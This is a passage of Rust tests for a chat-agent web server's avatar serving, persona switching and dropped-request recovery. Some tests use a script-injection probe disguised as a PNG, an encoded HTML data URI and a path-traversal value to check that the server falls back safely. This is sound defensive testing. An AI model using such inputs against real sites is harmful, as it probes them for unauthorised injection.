12308            reason: None,
12309            run: Some("run-123"),
12310            pr: None,
12311            summary: Some("Merge state unknown"),
12312        });
12313        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12314        conversation.turns[0].sender = None;
12315        conversation.turns[0].messages.clear();
12316        conversation.turns[0].breaks = None;
12317        conversation.pending = body.clone();
12318        conversation
12319            .completion_notices
12320            .push(crate::chat_notify::CompletionReference {
12321                task: "task-123".into(),
12322                run: Some("run-123".into()),
12323                notice: body.clone(),
12324            });
12325        ui.talks.put(&mut conversation).unwrap();
12326        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12327        assert_eq!(
12328            view.talk.turns[0].messages[0].display,
12329            Some(display.clone())
12330        );
12331        assert_eq!(view.talk.pending_messages[0].display, Some(display));
12332        assert_eq!(
12333            view.talk.turns[0].messages[0].sender,
12334            Some(talk::Sender::Magi)
12335        );
12336        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12337        conversation.completion_notices[0]
12338            .notice
12339            .push_str("different");
12340        let view = TalkView::with_config(conversation, false, None, &ui.home);
12341        assert!(view.talk.turns[0].messages.is_empty());
12342        assert!(view.talk.pending_messages.is_empty());
12343    }
12344
12345    #[tokio::test]
12346    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12347        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12348        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12349        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12350        let _ = magi_icon_put(
12351            State(ui.clone()),
12352            Json(MagiIconUpload { icon: icon.into() }),
12353        )
12354        .await
12355        .unwrap();
12356        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12357        assert_ne!(original, changed);
12358        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12359        let response = magi_avatar(
12360            State(ui.clone()),
12361            Query(AvatarQuery {
12362                persona: None,
12363                builtin: None,
12364            }),
12365        )
12366        .await;
12367        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12368        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12369        assert_eq!(
12370            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12371            "nosniff"
12372        );
12373        for bad in [
12374            "data:image/png;base64,PGh0bWw+".to_owned(),
12375            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12376            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12377        ] {
12378            assert!(save_magi_icon(home.path(), &bad).is_err());
12379            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12380        }
12381        // Re-opened server state reads the same independent home file.
12382        let restarted = Arc::new(Ui::new(
12383            Queue::at(home.path().join("queue")),
12384            Questions::at(home.path().join("questions")),
12385            Talks::at(home.path().join("talks")),
12386            home.path().join("runs"),
12387            home.path().to_path_buf(),
12388            repo,
12389        ));
12390        assert_eq!(
12391            magi_icon_get(State(restarted.clone())).await.0["avatar"],
12392            changed
12393        );
12394        let view = TalkView::with_config(
12395            restarted.talks.get(&id).unwrap(),
12396            false,
12397            None,
12398            &restarted.home,
12399        );
12400        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12401        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12402        let response = magi_avatar(
12403            State(ui.clone()),
12404            Query(AvatarQuery {
12405                persona: None,
12406                builtin: None,
12407            }),
12408        )
12409        .await;
12410        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12411            .await
12412            .unwrap();
12413        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12414        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12415        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12416        let _ = magi_icon_delete(State(ui)).await.unwrap();
12417    }
12418
12419    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
12420    async fn avatar(
12421        ui: &Arc<Ui>,
12422        id: &str,
12423        persona: Option<&str>,
12424        builtin: bool,
12425    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12426        let res = talk_avatar(
12427            State(Arc::clone(ui)),
12428            Path(id.to_owned()),
12429            Query(AvatarQuery {
12430                persona: persona.map(str::to_owned),
12431                builtin: builtin.then(|| "1".to_owned()),
12432            }),
12433        )
12434        .await
12435        .expect("an avatar is never an error response");
12436        let h = res.headers();
12437        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12438        let nosniff = h
12439            .get(header::X_CONTENT_TYPE_OPTIONS)
12440            .is_some_and(|v| v == "nosniff");
12441        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12442        let status = res.status();
12443        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12444            .await
12445            .expect("body")
12446            .to_vec();
12447        (status, ct, nosniff, csp, body)
12448    }
12449
12450    fn tiny_png() -> Vec<u8> {
12451        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12452        b.extend_from_slice(&[0u8; 32]);
12453        b
12454    }
12455
12456    #[tokio::test]
12457    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12458        let res = operator_avatar().await;
12459        assert_eq!(res.status(), StatusCode::OK);
12460        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12461        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12462        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12463        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12464        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12465            .await
12466            .unwrap();
12467        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12468        assert_ne!(
12469            persona_icon::operator_svg(),
12470            persona_icon::builtin_svg("default")
12471        );
12472    }
12473
12474    #[tokio::test]
12475    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12476        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12477        for p in [
12478            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12479        ] {
12480            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12481            assert_eq!(status, StatusCode::OK, "{p}");
12482            assert_eq!(ct, "image/svg+xml", "{p}");
12483            assert!(nosniff && csp, "{p}");
12484            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12485        }
12486        // No `persona` means the conversation's own; unknown ones fall back.
12487        let own = avatar(&ui, &id, None, false).await;
12488        let default = avatar(&ui, &id, Some("default"), false).await;
12489        assert_eq!(own.4, default.4);
12490        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12491        assert_eq!(unknown.1, "image/svg+xml");
12492    }
12493
12494    #[tokio::test]
12495    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12496        let dir = TempDir::new().expect("icons");
12497        let good = dir.path().join("good.png");
12498        std::fs::write(&good, tiny_png()).unwrap();
12499        let spoof = dir.path().join("spoof.png");
12500        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12501        let big = dir.path().join("big.png");
12502        let mut bytes = tiny_png();
12503        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12504        std::fs::write(&big, bytes).unwrap();
12505        let missing = dir.path().join("missing.png");
12506        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12507        let extra = format!(
12508            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12509             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12510             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12511             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12512             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12513             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12514            uri(&good),
12515            uri(&spoof),
12516            uri(&big),
12517            uri(&missing),
12518        );
12519        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12520
12521        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12522        assert_eq!(
12523            (status, ct.as_str(), nosniff),
12524            (StatusCode::OK, "image/png", true)
12525        );
12526        assert_eq!(body, tiny_png());
12527        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12528        assert_eq!(ct, "image/png", "data URI");
12529
12530        for p in ["misato", "asuka", "shinji", "magi"] {
12531            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12532            assert_eq!(
12533                (status, ct.as_str(), csp),
12534                (StatusCode::OK, "image/svg+xml", true),
12535                "{p}"
12536            );
12537            assert!(body.starts_with(b"<svg"), "{p}");
12538        }
12539        // The page's own retry skips the icon.
12540        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12541        assert_eq!(ct, "image/svg+xml");
12542    }
12543
12544    #[tokio::test]
12545    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12546        let oversized = format!(
12547            "data:image/png;base64,{}",
12548            "A".repeat(persona_icon::ICON_MAX_BYTES)
12549        );
12550        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12551            let extra = format!(
12552                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12553            );
12554            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12555            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12556                .await
12557                .expect("detail with invalid icon");
12558            assert!(detail.personas.iter().any(|p| p.id == "custom"));
12559            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12560            assert_eq!(status, StatusCode::OK);
12561            assert_eq!(ct, "image/svg+xml");
12562            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12563            let Json(view) = talk_persona(
12564                State(Arc::clone(&ui)),
12565                Path(id.clone()),
12566                Json(TalkPersona {
12567                    persona: "custom".into(),
12568                }),
12569            )
12570            .await
12571            .expect("persona switch with invalid icon");
12572            assert_eq!(view.talk.persona, "custom");
12573            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12574        }
12575    }
12576
12577    #[tokio::test]
12578    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12579        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12580        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12581        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12582        assert_eq!(
12583            (status, ct.as_str(), nosniff, csp),
12584            (StatusCode::OK, "image/svg+xml", true, true)
12585        );
12586    }
12587
12588    #[tokio::test]
12589    async fn the_talk_view_carries_server_built_avatar_urls_only() {
12590        let (_t, _h, ui, id, _repo) =
12591            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12592        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12593            .await
12594            .expect("detail");
12595        let json = serde_json::to_string(&detail).unwrap();
12596        assert!(
12597            !json.contains("secret"),
12598            "the icon setting must not leak: {json}"
12599        );
12600        assert!(
12601            detail
12602                .view
12603                .persona_avatar
12604                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12605        );
12606        assert_eq!(
12607            detail.view.operator_avatar,
12608            format!(
12609                "/avatars/operator.svg?v={}",
12610                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12611            )
12612        );
12613        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12614        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12615        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12616        assert!(rei.avatar.contains("persona=rei&v="));
12617        assert_ne!(
12618            rei.avatar.split("&v=").nth(1),
12619            plain.avatar.split("&v=").nth(1)
12620        );
12621    }
12622
12623    #[tokio::test]
12624    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12625        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12626        let cfg = config_for(&repo).await.unwrap();
12627        for arrived in [false, true] {
12628            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12629            let observed = ui.queued_generation(&id);
12630            let talk = ui.talks.get(&id).unwrap();
12631            if arrived {
12632                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12633            }
12634            let mut settling = std::pin::pin!(settle_settings_turn(
12635                talk,
12636                ui.talks.clone(),
12637                cfg.clone(),
12638                id.clone(),
12639                turn,
12640                observed
12641            ));
12642            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12643            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12644            assert_eq!(first.is_pending(), arrived);
12645            if arrived {
12646                assert!(!settling.await);
12647            }
12648            assert!(!ui.is_thinking(&id));
12649        }
12650    }
12651
12652    #[tokio::test]
12653    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12654        let tmp = TempDir::new().expect("tempdir");
12655        let repo = tmp.path().join("repo");
12656        std::fs::create_dir_all(&repo).expect("repo dir");
12657        std::fs::write(
12658            repo.join("magi.toml"),
12659            format!(
12660                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12661            ),
12662        )
12663        .expect("write magi.toml");
12664        let home = TempDir::new().expect("temp home");
12665        let talks = Talks::at(home.path().join("talks"));
12666        let ui = Arc::new(
12667            Ui::new(
12668                Queue::at(home.path().join("queue")),
12669                Questions::at(home.path().join("questions")),
12670                talks.clone(),
12671                home.path().join("runs"),
12672                home.path().to_path_buf(),
12673                repo.clone(),
12674            )
12675            .with_worktrees_root(home.path().join("wt")),
12676        );
12677        let cfg = config_for(&repo).await.expect("discover config");
12678        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12679        let id = talk.id.clone();
12680        let call = |persona: &str| {
12681            talk_persona(
12682                State(Arc::clone(&ui)),
12683                Path(id.clone()),
12684                Json(TalkPersona {
12685                    persona: persona.to_owned(),
12686                }),
12687            )
12688        };
12689
12690        let unknown = call("nobody").await.expect_err("unknown persona");
12691        assert_eq!(
12692            unknown.status,
12693            StatusCode::BAD_REQUEST,
12694            "{}",
12695            unknown.message
12696        );
12697
12698        {
12699            // Nothing refused so far took a claim, so the guard is free to take
12700            // and holding it is what makes the talk busy.
12701            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12702            let busy = call("rei").await.expect_err("busy talk");
12703            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12704            assert!(
12705                busy.message.contains("a talk turn is running"),
12706                "{}",
12707                busy.message
12708            );
12709            drop(guard);
12710        }
12711        assert_eq!(talks.get(&id).expect("reload").persona, "");
12712
12713        let Json(view) = call("gendo").await.expect("switch to a configured persona");
12714        assert_eq!(view.talk.persona, "gendo");
12715        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12716        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12717        // No intervening I/O or sleep may be needed before another change.
12718        for chosen in ["default", "gendo", "rei", "gendo"] {
12719            let Json(view) = call(chosen).await.expect("immediate consecutive change");
12720            assert!(!view.thinking);
12721            assert!(!ui.is_thinking(&id));
12722        }
12723
12724        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12725            .await
12726            .expect("detail");
12727        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12728        assert_eq!(ids.first(), Some(&"default"));
12729        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12730
12731        let Json(view) = call("default").await.expect("back to default");
12732        assert_eq!(view.talk.persona, "");
12733
12734        let mut closed = talks.get(&id).expect("reload");
12735        talk::close(&mut closed, &talks).expect("close");
12736        let refused = call("rei").await.expect_err("closed talk");
12737        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12738        assert!(
12739            refused.message.contains("takes no more turns"),
12740            "{}",
12741            refused.message
12742        );
12743    }
12744
12745    #[tokio::test]
12746    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12747        let f = Fixture::start().await;
12748        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12749        let queue = f.queue();
12750        let mut mine = Task::new(
12751            "rename the loader".to_owned(),
12752            "rename the loader".to_owned(),
12753            PathBuf::from("/repo/magi"),
12754            Source::Agent {
12755                run: talk_id.clone(),
12756                node: "chat".to_owned(),
12757            },
12758        );
12759        queue.put(&mut mine).expect("file the task");
12760        let mut theirs = Task::new(
12761            "unrelated".to_owned(),
12762            "unrelated".to_owned(),
12763            PathBuf::from("/repo/magi"),
12764            Source::Human,
12765        );
12766        queue.put(&mut theirs).expect("file the task");
12767
12768        let res = f.get(&format!("/api/talks/{talk_id}")).await;
12769        assert_eq!(res.status, 200, "{}", res.body);
12770        let body = res.json();
12771        assert_eq!(
12772            body["status"], "open",
12773            "filing a task does not close a talk"
12774        );
12775        let tasks = body["tasks"].as_array().expect("tasks array");
12776        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12777        assert_eq!(tasks[0]["id"], mine.id);
12778    }
12779
12780    #[tokio::test]
12781    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12782        let (_tmp, _repo, f) = talk_fixture().await;
12783        let id = f.post("/api/talks", None).await.json()["id"]
12784            .as_str()
12785            .expect("id")
12786            .to_owned();
12787
12788        let res = f
12789            .post(
12790                &format!("/api/talks/{id}/say"),
12791                Some(r#"{"text":"what does the queue module do?"}"#),
12792            )
12793            .await;
12794        assert_eq!(res.status, 202, "{}", res.body);
12795        let queued = res.json();
12796        let turns = queued["turns"].as_array().expect("turns array");
12797        assert_eq!(
12798            turns.len(),
12799            1,
12800            "the answer reflects only what is on disk the instant it is sent, \
12801             before the agent's turn - which can run for the whole of \
12802             `[graph] timeout_talk` - has a chance to land: {queued}"
12803        );
12804        assert_eq!(turns[0]["who"], "operator");
12805        assert_eq!(turns[0]["body"], "what does the queue module do?");
12806        assert_eq!(
12807            queued["thinking"], true,
12808            "the accepted response exposes the background turn claim: {queued}"
12809        );
12810
12811        let mut turns_after = 1;
12812        for _ in 0..SETTLE_STEPS {
12813            let detail = f.get(&format!("/api/talks/{id}")).await.json();
12814            turns_after = detail["turns"].as_array().expect("turns array").len();
12815            if turns_after == 2 {
12816                break;
12817            }
12818            tokio::time::sleep(Duration::from_millis(10)).await;
12819        }
12820        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12821    }
12822
12823    /// A phone that reloads mid-request drops `talk_say`'s whole handler
12824    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
12825    /// guards against: `talk::record` used to return, and only *then* did the
12826    /// handler make a second, separate disk round trip before spawning the
12827    /// agent's reply task. A future dropped in that gap left a message
12828    /// recorded on disk with no reply task ever started and no way back short
12829    /// of a fresh message - and the gap was not even the whole story: *any*
12830    /// `.await` in this handler, including the very first one, is a point
12831    /// where a drop can land after the awaited work already finished but
12832    /// before this handler's own code resumes to act on it. `record` now
12833    /// runs inside the task `tokio::spawn` hands to the runtime before this
12834    /// handler ever awaits anything of its own again, so there is nothing
12835    /// left in *this* handler's future for a disconnect to interrupt between
12836    /// the message landing on disk and the reply task starting.
12837    ///
12838    /// A real socket disconnect cannot be relied on to land in the old gap
12839    /// from a test - over loopback, `talk_say` typically finishes before the
12840    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
12841    /// same failure mode directly: it drops the task's future at whatever
12842    /// point it has reached, exactly what axum does to the handler future,
12843    /// without needing to win a real network race. Sweeping the delay before
12844    /// aborting samples a range of points the task's execution can be at,
12845    /// including where the old code sat waiting on its second disk round
12846    /// trip - confirmed by reverting this fix locally and watching this same
12847    /// sweep catch a talk stuck with the operator's turn recorded and no
12848    /// reply ever following.
12849    #[tokio::test]
12850    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12851        let tmp = TempDir::new().expect("tempdir");
12852        let repo = tmp.path().join("repo");
12853        std::fs::create_dir_all(&repo).expect("repo dir");
12854        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12855        let home = TempDir::new().expect("temp home");
12856        let talks = Talks::at(home.path().join("talks"));
12857        let ui = Arc::new(
12858            Ui::new(
12859                Queue::at(home.path().join("queue")),
12860                Questions::at(home.path().join("questions")),
12861                talks.clone(),
12862                home.path().join("runs"),
12863                home.path().to_path_buf(),
12864                repo.clone(),
12865            )
12866            .with_worktrees_root(home.path().join("wt")),
12867        );
12868        let cfg = config_for(&repo).await.expect("discover config");
12869
12870        for delay in 0..40u32 {
12871            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12872            let id = talk.id.clone();
12873
12874            let handler = tokio::spawn(talk_say(
12875                State(Arc::clone(&ui)),
12876                Path(id.clone()),
12877                Ok(Json(NewTalkTurn {
12878                    reply_to: None,
12879                    text: "what does the queue module do?".to_owned(),
12880                    attachments: Vec::new(),
12881                })),
12882            ));
12883            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12884            handler.abort();
12885            // Wait out the abort so the next iteration's talk does not race
12886            // this one's still-unwinding turn guard.
12887            let _ = handler.await;
12888
12889            let mut turns = 0;
12890            for _ in 0..SETTLE_STEPS {
12891                if let Ok(fresh) = talks.get(&id) {
12892                    turns = fresh.turns.len();
12893                    if turns != 1 {
12894                        break;
12895                    }
12896                }
12897                tokio::time::sleep(Duration::from_millis(10)).await;
12898            }
12899            assert_ne!(
12900                turns, 1,
12901                "delay {delay}: talk {id} recorded the operator's turn but \
12902                 the agent never answered - the reply task was never \
12903                 started after the handler future was dropped"
12904            );
12905        }
12906    }
12907
12908    /// The same drop, landing on `talk_say`'s other durable write.
12909    ///
12910    /// When a turn is already running, the busy branch persists the
12911    /// operator's text as a queued draft and then reclaims the turn slot if
12912    /// the holder gave it up in the meantime - and whoever reclaims owes that
12913    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
12914    /// which finishes whether or not the future awaiting it is still there,
12915    /// so a handler dropped at that `.await` used to leave the draft written
12916    /// to disk with the reclaimed guard dropped unread and no drainer ever
12917    /// started: the message sat queued until some unrelated later `say`
12918    /// happened to pick it up.
12919    ///
12920    /// This used to drive the handler future by hand, polling it a fixed
12921    /// number of times to park it at the `.await` where it asks for the turn
12922    /// and finds it busy, before the reclaim's slot-free case could be set up
12923    /// underneath it. That assumed a fixed number of polls lands at a fixed
12924    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
12925    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
12926    /// poll, so any number of this handler's several `blocking` awaits can
12927    /// collapse into one poll under load, landing the drive somewhere other
12928    /// than intended - including, occasionally, straight past the handler's
12929    /// own completion, which made polling it again panic with "async fn
12930    /// resumed after completion". No poll count fixes that; the handler's
12931    /// progress simply is not something a caller outside it can observe by
12932    /// counting.
12933    ///
12934    /// [`BusyQueueGate`] replaces the poll count with a real stop point
12935    /// inside the write itself, so the interleaving under test is pinned by
12936    /// an event instead of a guess: the gate fires only once the handler has
12937    /// actually decided `Busy` and is about to persist the draft, and it
12938    /// blocks that write until the test lets it through. Between those two
12939    /// moments the test drains the turn the handler found busy - through
12940    /// `drain_loop`, the protocol's other half - and then aborts the handler
12941    /// task outright, the same way axum drops a disconnected request's
12942    /// future. The write, and the reclaim it may do, run to completion
12943    /// regardless: they live in the `tokio::spawn` task the busy branch hands
12944    /// to the runtime before ever touching the gate, wholly independent of
12945    /// whether the handler that started it is still around - which is what
12946    /// this test is actually checking. A drainer other than that reclaim
12947    /// cannot exist here: the test's own `drain_loop` call happens before the
12948    /// gate opens, so it runs while the queue is still empty and hands the
12949    /// turn straight back rather than draining anything, closing off the
12950    /// possibility of the final assertion passing without the reclaim ever
12951    /// having done its job.
12952    #[tokio::test]
12953    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12954        let tmp = TempDir::new().expect("tempdir");
12955        let repo = tmp.path().join("repo");
12956        std::fs::create_dir_all(&repo).expect("repo dir");
12957        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12958        let home = TempDir::new().expect("temp home");
12959        let talks = Talks::at(home.path().join("talks"));
12960        let ui = Arc::new(
12961            Ui::new(
12962                Queue::at(home.path().join("queue")),
12963                Questions::at(home.path().join("questions")),
12964                talks.clone(),
12965                home.path().join("runs"),
12966                home.path().to_path_buf(),
12967                repo.clone(),
12968            )
12969            .with_worktrees_root(home.path().join("wt")),
12970        );
12971        let cfg = config_for(&repo).await.expect("discover config");
12972
12973        for attempt in 0..3u32 {
12974            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12975            let id = talk.id.clone();
12976            // A turn is already running, which is what sends `talk_say` down
12977            // the busy branch.
12978            let turn_guard = ui
12979                .begin_talk_turn(&id)
12980                .expect("claim the turn")
12981                .expect("a fresh talk owes nobody a turn");
12982
12983            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12984            let (release_tx, release_rx) = std::sync::mpsc::channel();
12985            ui.set_busy_queue_gate(BusyQueueGate {
12986                reached: reached_tx,
12987                release: release_rx,
12988            });
12989
12990            let handler = tokio::spawn(talk_say(
12991                State(Arc::clone(&ui)),
12992                Path(id.clone()),
12993                Ok(Json(NewTalkTurn {
12994                    reply_to: None,
12995                    text: "what does the queue module do?".to_owned(),
12996                    attachments: Vec::new(),
12997                })),
12998            ));
12999
13000            // Wait for the busy branch to actually reach the gate, rather
13001            // than for any fixed number of polls of anything - a bounded
13002            // wait rather than a bare `.await` so a regression that never
13003            // reaches the gate fails the test instead of hanging it.
13004            tokio::time::timeout(Duration::from_secs(5), reached_rx)
13005                .await
13006                .unwrap_or_else(|_| {
13007                    panic!(
13008                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13009                    )
13010                })
13011                .expect("the busy branch dropped the gate without using it");
13012
13013            // The turn that was running now finishes and gives the slot up
13014            // the way a real one does - through `drain_loop`, which finds
13015            // nothing queued yet (the write is still held at the gate) and
13016            // releases. The handler, parked inside `spawn_blocking` on the
13017            // other side of the gate, still believes the talk is busy -
13018            // exactly the interleaving the reclaim exists for.
13019            let running = talks.get(&id).expect("reload talk");
13020            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13021
13022            // Drop the handler future now, the way a reloading phone drops
13023            // it: suspended waiting on the busy branch's answer, having
13024            // itself made no more progress since it handed the write off.
13025            handler.abort();
13026            let _ = handler.await;
13027
13028            // Only now let the gated write proceed. It persists the draft
13029            // and reclaims the now-free slot from inside the task the busy
13030            // branch already spawned - unaffected by the handler's abort
13031            // above, since that task was independent of the handler's own
13032            // future from the moment it was spawned.
13033            let _ = release_tx.send(());
13034
13035            // A settled talk: the draft drained into an operator turn and
13036            // answered.
13037            let mut fresh = talks.get(&id).expect("reload talk");
13038            for _ in 0..SETTLE_STEPS {
13039                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13040                    break;
13041                }
13042                tokio::time::sleep(Duration::from_millis(10)).await;
13043                fresh = talks.get(&id).expect("reload talk");
13044            }
13045            assert!(
13046                fresh.pending.is_empty() && fresh.turns.len() == 2,
13047                "attempt {attempt}: talk {id} left the operator's text queued \
13048                 with no drainer - the reclaimed turn was dropped along with \
13049                 the handler future (pending {:?}, {} turns)",
13050                fresh.pending,
13051                fresh.turns.len()
13052            );
13053        }
13054    }
13055
13056    #[tokio::test]
13057    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13058        let (_tmp, _repo, f) = talk_fixture().await;
13059        let id = f.post("/api/talks", None).await.json()["id"]
13060            .as_str()
13061            .expect("id")
13062            .to_owned();
13063        let store = f.talks();
13064        let mut recovered = store.get(&id).expect("opened talk");
13065        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13066            .expect("persist pending draft without a live turn");
13067
13068        let edited = f
13069            .post(
13070                &format!("/api/talks/{id}/pending/edit"),
13071                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13072            )
13073            .await;
13074        assert_eq!(edited.status, 200, "{}", edited.body);
13075        assert!(edited.json()["thinking"].as_bool().unwrap());
13076
13077        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13078        for _ in 0..SETTLE_STEPS {
13079            if detail["turns"].as_array().expect("turns").len() == 2 {
13080                break;
13081            }
13082            tokio::time::sleep(Duration::from_millis(10)).await;
13083            detail = f.get(&format!("/api/talks/{id}")).await.json();
13084        }
13085        let turns = detail["turns"].as_array().expect("turns");
13086        assert_eq!(
13087            turns.len(),
13088            2,
13089            "the recovered draft must run once: {detail}"
13090        );
13091        assert_eq!(turns[0]["body"], "corrected");
13092        assert_eq!(detail["pending"], "");
13093    }
13094
13095    #[tokio::test]
13096    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13097        let tmp = TempDir::new().expect("tempdir");
13098        let repo = tmp.path().join("repo");
13099        std::fs::create_dir_all(&repo).expect("repo dir");
13100        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13101        let f = Fixture::with_repo(repo).await;
13102        let id = f.post("/api/talks", None).await.json()["id"]
13103            .as_str()
13104            .expect("id")
13105            .to_owned();
13106        let store = f.talks();
13107        let mut recovered = store.get(&id).expect("opened talk");
13108        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13109            .expect("persist pending draft without a live turn");
13110
13111        let refused = f
13112            .post(
13113                &format!("/api/talks/{id}/say"),
